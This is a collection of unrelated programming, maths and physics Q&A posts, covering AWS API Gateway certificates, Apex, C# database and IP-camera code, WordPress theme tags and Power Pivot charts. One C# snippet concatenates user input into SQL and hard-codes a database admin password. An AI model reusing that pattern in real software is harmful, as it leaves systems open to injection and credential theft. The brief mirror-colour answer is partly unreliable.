Q: AWS API Gateway integration with an NLB with ACM issued cert resulting in SSL error Here's my context

*

*EC2 instances host a Spring Boot API microservice

*A Network Load Balancer that fronts the EC2 instances with a port 443 Listener that has an ACM issued Private SSL cert installed on it

*I have created a VPC link to that NLB.

*Created an instance of the API Gateway and defined a method on it.

When I try to invoke the method, I get the following error as a result:`
Execution failed due to....PKIX path building failed:...certpath.SunCertPathBuilderException: unable to find valid certification path to requested target.

Why is that the AWS API Gateway is encountering issues connecting to an NLB that uses an ACM issued SSL cert?
Any help would be appreciated.


text:
Q: Switching logic in Apex method based on Boolean parameter There is an Apex method where are are checking whether the status of the campaign is Extinct or not:
public static Boolean isExtinct(Campaign vCampaign) {
        return (vCampaign.Status__c == 'Extinct');
    }

There is another Apex method with similar logic, the only difference is that we have added one more condition to check whether Is_Logged_in_User__c is true or not.
public static Boolean isExtinctForLiggedInUser(Campaign vCampaign) {
        return (vCampaign.Status__c == 'Extinct'
                && vCampaign.Is_Logged_in_User__c);
    }

As you see, I have defined 2 methods. Is it possible to define only one method, and based on some Boolean parameter, I can switch the logic?
I can use if-else condition, but I am looking for a cleaner approach.

A: If both methods are used, then keep them both as their names are quite descriptive. Below is one way to re-use a bit of the logic. There are lots of options.
public static Boolean isExtinct(Campaign vCampaign) {
    return vCampaign.Status__c == 'Extinct';
}

public static Boolean isExtinctForLoggedInUser(Campaign vCampaign) {
    return isExtinct(vCampaign) && vCampaign.Is_Logged_in_User__c;
}

A: You can use a combination of Boolean logic:
public static Boolean isCampaignExtinct(Campaign vCampaign, Boolean forCurrentUser) {
    return vCampaign.Status__c == 'Extinct' && (!forCurrentUser || vCampaign.Is_Logged_in_User__c);
}


text:
Q: Ligação n para n Tenho uma base de dados e queria fazer ligação n para n no C#, mas não sei com faço para ir buscar os dados da minha outra tabela.
Eu queria que onde diz id_equipa aparece-se os dados da equipa que for selecionada na combobox
Passo a demonstrar o código :
public Jogadores()
        {
            InitializeComponent();

            DataTable dataTable = Database.DatabaseAPI.SelectDataTable(@"Select Jogador.Id_Jogador, Jogador.Nome_Jogador, Jogador.Idade, Jogador.País, Jogador.id_equipa from Jogador Join Equipa on Jogador.id_equipa = Equipa.Nome");
            dataGridView1.DataSource = dataTable;

            this.dataGridView1.Columns["Id_Jogador"].Visible = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (textBox1.Text != "")
            {
                Database.DatabaseAPI.NonQuery("INSERT INTO Jogador(Id_Jogador, Nome_Jogador, Idade, País, Jogador.id_equipa) Values (NewID(), '" + textBox1.Text.Replace("'", "''") + "', '" + textBox2.Text.Replace("'", "''") + "', '" + textBox3.Text.Replace("'", "''") + "', '" + comboBox1.ValueMember.ToString() + "')");
                if (textBox1.Text.Trim() == string.Empty)
                {
                    MessageBox.Show("Nome em Falta");
                    return;
                }
                if (textBox2.Text.Trim() == string.Empty)
                {
                    MessageBox.Show("Idade em Falta");
                    return;
                }
                if (textBox3.Text.Trim() == string.Empty)
                {
                    MessageBox.Show("País em Falta");
                    return;
                }
                if (comboBox1.Text.Trim() == "Escolha uma :")
                {
                    MessageBox.Show("Equipa em Falata");
                    return;
                }
                MessageBox.Show("Dados do Jogador adicionado com sucesso!");
                DataTable dataTable = Database.DatabaseAPI.SelectDataTable(@"Select Id_Jogador, Nome_Jogador, Idade, País from Jogador Join Equipa on Jogador.id_equipa = Equipa.id_equipa");
                dataGridView1.DataSource = dataTable;
            }

Exemplo da tabela :

Código da combobox  :
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
        {
            string ID = comboBox1.SelectedValue.ToString();
        }

        private void Jogadores_Load(object sender, EventArgs e)
        {
            string constr = @"server =PC-SQLEXPRESS;database = Tabelaas;UID=sa;password=1234";
            using (SqlConnection con = new SqlConnection(constr))
            {
                using (SqlDataAdapter sda = new SqlDataAdapter("Select id_equipa, Nome From Equipa", con))
                {
                    DataTable dt = new DataTable();
                    sda.Fill(dt);

                    DataRow row = dt.NewRow();
                    row[1] = "Escolha uma :";
                    dt.Rows.InsertAt(row, 0);

                    comboBox1.DataSource = dt;
                    comboBox1.DisplayMember = "Nome";
                    comboBox1.ValueMember = "id_equipa";
                }
            }
        }


text:
Q: Why do mirrors look "gray"? Or any other silver surface? Perfect silver "colour" just seems to be "reflecting gray", so something that absorbs all wavelengths by the same fraction and reflects everything else specularly. When I scratch it, it gets gray.
So a mirrors are gray and specular reflectors and therefore the colour we commonly call silver is, also, simply gray and specular.
Is that correct or am I heading in the wrong direction here?

A: Standard mirrors used to be made of silver and silver yes has a grey metallic color to it. Platinum can also be used to make a brighter less grey mirror. A Dielectric mirror reflects best almost all viable light and should have no tint of grey.


text:
Q: Showing IP cam feed in WinForms C# app I'm am trying to show video from IP cam in my C# WinForms app. I need to show only video, not camera menu and such. I was thinking of using WebBrowser control and somehow change parameters. If you have any suggestions for this approach or any other please help. I don't know where to start.
This is default IP cam page:

<meta http-equiv="Content-Type" content="text/html;">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<title>IP CAMERA</title>
<link href="style/css.css" rel="stylesheet" type="text/css">

        <form name="form1">

            <input type="hidden" name="soundSlider" id="sliderValue1h" size="2" readonly>

        </form>

      Install VLC plugin to watch streaming.

A: And here is .NET 3.5 solution from my friend.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;

namespace kamera
{
    public partial class Form1 : Form
    {

        //private static String imageUrl = "http://10.10.10.1/now.jpg";
        private static String imageUrl=null;
        private static Thread t ;
        private static Image webImage;
        private static List<String> kamere;
        System.Windows.Forms.Timer timer = new System.Windows.Forms.Timer();
        private static int intervalOsvezevanja=3000; //3 sekunde osveževanja
        public Form1()
        {
            InitializeComponent();
            ////timer k pokliče funkcijo vsake 3 sekunde
            //AutoResetEvent autoEvent = new AutoResetEvent(false);
            //TimerCallback tcb = updatePicture;
            //System.Threading.Timer stateTimer = new System.Threading.Timer(tcb, autoEvent, 0, 200);

            t = new Thread(updatePicture);
            t.IsBackground = true;
            t.Start();

            timer.Tick += new EventHandler(timer_Tick); // Everytime timer ticks, timer_Tick will be called
            timer.Interval = (intervalOsvezevanja) ;             // Timer will tick every 0.05 seconds
            timer.Enabled = true;                       // Enable the timer
            timer.Start();                              // Start the timer

            //skrijemo formo za dodajanje kamer
            panelDodajKamero.Hide();

            //inicializacija
            kamere = new List<String>();
            tbNaslovKamere.Text =  "cam-kk-";
            preberiDatoteko();
        }

        void timer_Tick(object sender, EventArgs e)
        {
            pictureBox1.Image = webImage;
        }

        ~Form1() {
            //t.Join();
            t.Abort();
            timer.Stop();
            timer.Dispose();
        }

        private void updatePicture(object stateInfo)
        {
            while (true)
            {
                if (imageUrl != null)
                {
                    try
                    {
                        WebRequest requestPic = WebRequest.Create(imageUrl);
                        WebResponse responsePic = requestPic.GetResponse();
                        webImage = Image.FromStream(responsePic.GetResponseStream());
                        //webImage.Save("C:\\Users\\Public\\kamera\\kamera" + fileName + ".jpg");
                    }
                    catch{}
                }
                Thread.Sleep(intervalOsvezevanja);
            }
        }

        private void pictureBox1_Click(object sender, EventArgs e)
        {
            if (menuStrip1.Visible)
            {
                menuStrip1.Hide();
            }
            else
            {
                menuStrip1.Show();
            }
        }

        private void menjajKamero(String camAddr)
        {
            if (camAddr.Contains("http"))
            {
                imageUrl = camAddr;
            }
            else
            {
                imageUrl = "http://" + camAddr + "/now.jpg"; //link to http://10.10.10.1now.jpg camera live image.
            }
        }

        private void btDodajKamero_Click(object sender, EventArgs e)
        {
            String webAddres;
            if (tbNaslovKamere.Text.Contains("http"))
            {
                webAddres = tbNaslovKamere.Text;
            }
            else
            {
                webAddres = "http://" + tbNaslovKamere.Text + "/now.jpg";
            }
            if (RemoteFileExists(webAddres))
            {
                if (!kamere.Contains(tbNaslovKamere.Text) && !kamere.Contains(webAddres))
                {
                    kamere.Add(tbNaslovKamere.Text);
                    //kamere.Add(webAddres);
                }
                menjajKamero(tbNaslovKamere.Text);
                //menjajKamero(webAddres);
                panelDodajKamero.Hide();
                izpisKamer();
                tbNaslovKamere.Text = "cam-kk-";
            }
            else
            {
                MessageBox.Show("Ne najdem Kamere");
            }
        }

        private void dodajKameroToolStripMenuItem_Click(object sender, EventArgs e)
        {
            panelDodajKamero.Show();
        }

        private void izpisKamer()
        {
            //zanka ki odstrani vse prej dodane kamere
            textBox1.Text = kamereToolStripMenuItem.DropDownItems.Count.ToString();

            foreach (String kamera in kamere)
            {
                kamereToolStripMenuItem.DropDownItems.RemoveByKey(kamera);
            }

            System.IO.StreamWriter file = new System.IO.StreamWriter(System.Environment.CurrentDirectory + "\\kamere.txt");
            foreach (String kamera in kamere)
            {
                ToolStripDropDownButton btTemp = new ToolStripDropDownButton(kamera, null, kameraOnClick, kamera);
                file.WriteLine(kamera);

                //dodamo trenutno kamero, ki je v kamerah.txt
                kamereToolStripMenuItem.DropDownItems.Add(btTemp);
            }
            file.Dispose();
            file.Close();
        }

        private void kameraOnClick(object sender, EventArgs e)
        {
            //tbNaslovKamere.Text+=sender.ToString();
            imageUrl = "http://" + sender.ToString() + "/now.jpg";
        }

        private void izhodToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void preberiDatoteko()
        {
            String vrstica;
            // Read the file as one string.
            if (File.Exists(System.Environment.CurrentDirectory + "\\kamere.txt"))
            {
                kamere = new List<String>();
                StreamReader myFile = new StreamReader(System.Environment.CurrentDirectory + "\\kamere.txt");
                while ((vrstica = myFile.ReadLine()) != null)
                {
                    //zapis v list
                    kamere.Add(vrstica);
                    //doda v meni
                    ToolStripDropDownButton btTemp = new ToolStripDropDownButton(vrstica, null, kameraOnClick, vrstica);
                    kamereToolStripMenuItem.DropDownItems.Add(btTemp);
                }
                myFile.Close();
            }
        }

        private void menuPobrisiKamere()
        {
            foreach (String kamera in kamere)
            {
                kamereToolStripMenuItem.DropDownItems.RemoveByKey(kamera);
            }
            kamere = new List<String>();
        }

        private void odpriToolStripMenuItem_Click(object sender, EventArgs e)
        {
            // Create an instance of the open file dialog box.
            OpenFileDialog openFileDialog1 = new OpenFileDialog();

            // Set filter options and filter index.
            openFileDialog1.Filter = "Text Files (.txt)|*.txt";
            openFileDialog1.FilterIndex = 1;

            //openFileDialog1.Multiselect = true;
            // Call the ShowDialog method to show the dialog box.
            DialogResult userClickedOK = openFileDialog1.ShowDialog();

            //tbNaslovKamere.Text = userClickedOK.ToString();
            // Process input if the user clicked OK.
            if (userClickedOK.ToString().Equals("OK"))
            {
                menuPobrisiKamere();
                String vrstica;

                // Open the selected file to read.
                System.IO.Stream fileStream = openFileDialog1.OpenFile();
                kamere = new List<String>();
                StreamReader myFile = new StreamReader(fileStream);
                while ((vrstica = myFile.ReadLine()) != null)
                {
                    //zapis v list
                    kamere.Add(vrstica);
                    //doda v meni
                    ToolStripDropDownButton btTemp = new ToolStripDropDownButton(vrstica, null, kameraOnClick, vrstica);
                    kamereToolStripMenuItem.DropDownItems.Add(btTemp);
                }
                myFile.Dispose();
                myFile.Close();
                fileStream.Dispose();
                fileStream.Close();
                myFile.Close();
                fileStream.Close();
            }
        }

        private void pobrišiKamereToolStripMenuItem_Click(object sender, EventArgs e)
        {
            menuPobrisiKamere();
        }

        private void zbrišiShranjeneKamereToolStripMenuItem_Click(object sender, EventArgs e)
        {
            menuPobrisiKamere();
            System.IO.StreamWriter file = new System.IO.StreamWriter(System.Environment.CurrentDirectory + "\\kamere.txt");
            file.Dispose();
            file.Close();
        }

        private void pictureBox1_DoubleClick(object sender, EventArgs e)
        {
            Form1 frm1 = new Form1();
            frm1.Size = new Size(100, frm1.Size.Height);
        }

        private bool RemoteFileExists(string url)
        {
            try
            {
                //Creating the HttpWebRequest
                HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
                //Setting the Request method HEAD, you can also use GET too.
                request.Method = "HEAD";
                //Getting the Web Response.
                HttpWebResponse response = request.GetResponse() as HttpWebResponse;
                //Returns TRUE if the Status code == 200
                return (response.StatusCode == HttpStatusCode.OK);
            }
            catch
            {
                //Any exception will returns false.
                return false;
            }
        }
    }
}

A: Have you any Code from your C# Application?
First of all i would look at this Part of your Code:
 document.open();
 document.write("<embed SCALE=\"ToFit\" width=\"" + resolutionW + "\" height=\"" + resolutionH + "\"" +
                           " type=\"video/quicktime\" qtsrc=\"rtsp://" + location.hostname + "/" + VideoPath + "\"" +
                           " qtsrcdontusebrowser src=\"quicktime.mov\" autoplay=\"true\" controller=\"true\"\>");
 document.close();

There you get Location Path and Type, after many IF-Cases. Maybe you want them in your C# Code too. Then set the URI Path of the WebBrowser Control and see what happens...
webBrowser1.Url = new Uri(myIPCamStringPath);

Normally you can every IP-Cam direct with a standard Browser.


text:
Q: Constructive Expectation Problem Problem:
Henry flips 10 coins and lays them on the desk. He then chooses one of the coins at random, and if it is tails, he flips it to heads. What is the expected number of heads showing? (source: Mandelbrot)
My solution:
We can calculate the expected value separately:
(10)(1/2)(1) + (1/2)(1/2)(1) = 21/4 , where the second 1/2 represents the probability of the coin Henry picks to be heads, and the third 1/2 representing if the flip is tails given Henry chooses heads.
Solution manual:
11/2
Can someone explain to me where I went wrong in my reasoning? Thanks

A: Let $X_i$ be the $i^{th}$ flip. Then $P(X_i=1)=\frac{1}{2}+\frac{1}{2}\frac{1}{10}$ that is half chance that its heads then $\frac{1}{10}\frac{1}{2}$  chance its picked to be turned to heads when it was tails. Note $X_i$ are not independent, however we still have
$E(\sum_{i}^{10}X_i)=\sum_{i}^{10}E(X_i)=\sum_{i}^{10} \big( \frac{1}{2}+\frac{1}{2}\frac{1}{10}\big) = 5+\frac{1}{2}=\frac{11}{2}$.


text:
Q: What are the Theme tags in style.css used for? In the style.css file in the first comment block, there is a optional "Tags:" directive. What are these tags used for? When are they used?

A: The theme tags are used to sort/categorize themes in the WordPress theme directory according to features or characteristics.
For example, if your theme supports two columns (a typical blog format), then you use the two-columns tag and if it supports multiple screen sizes, use the responsive-layout tag. This makes it easier for someone looking for a theme to be very specific - i.e. "I want a theme which has three columns, mainly dark colors, allows for big featured images and supports the Arabic language. And it should work on all devices including phones and tablets." This would translate to a tag list like this: three-columns, dark, featured-images, rtl-language-support, responsive-layout.
These tags are only used on the WordPress theme site and are completely optional. However, it means that people using those search filters might not find your theme and that's no good. If you're making a custom theme for yourself or for a client and you're not going to upload it to the WordPress theme directory, you don't need to include them.
For a full list of tags you can use, check https://make.wordpress.org/themes/handbook/review/required/theme-tags/.


text:
Q: Splitting a pivotchart from power pivot into multiple charts I have a pivot chart that tracks resource allocations based on a few filters. I would like to split the chart into multiple charts. In the picture, I want one chart for each line. I can do this manually (one chart for each resource) but that's not ideal because I only want to see certain charts based on the filters, and the data will change frequently.
Thanks in advance for help.
reference - http://imgur.com/vZJEHGM

A: Blake, unfortunately, this is not possible. Chart based on (power)pivot table is always linked  and if you update the pivot table, you will see the change instantly happen to the chart as well.
What I would suggest is to create four (or more) different pivots and then four (or more) linked pivot-based charts.
If there is any filter that needs to be used in all of the pivot tables, you can then use slicers which can be linked to more than 1 pivot table.
Hope this helps :)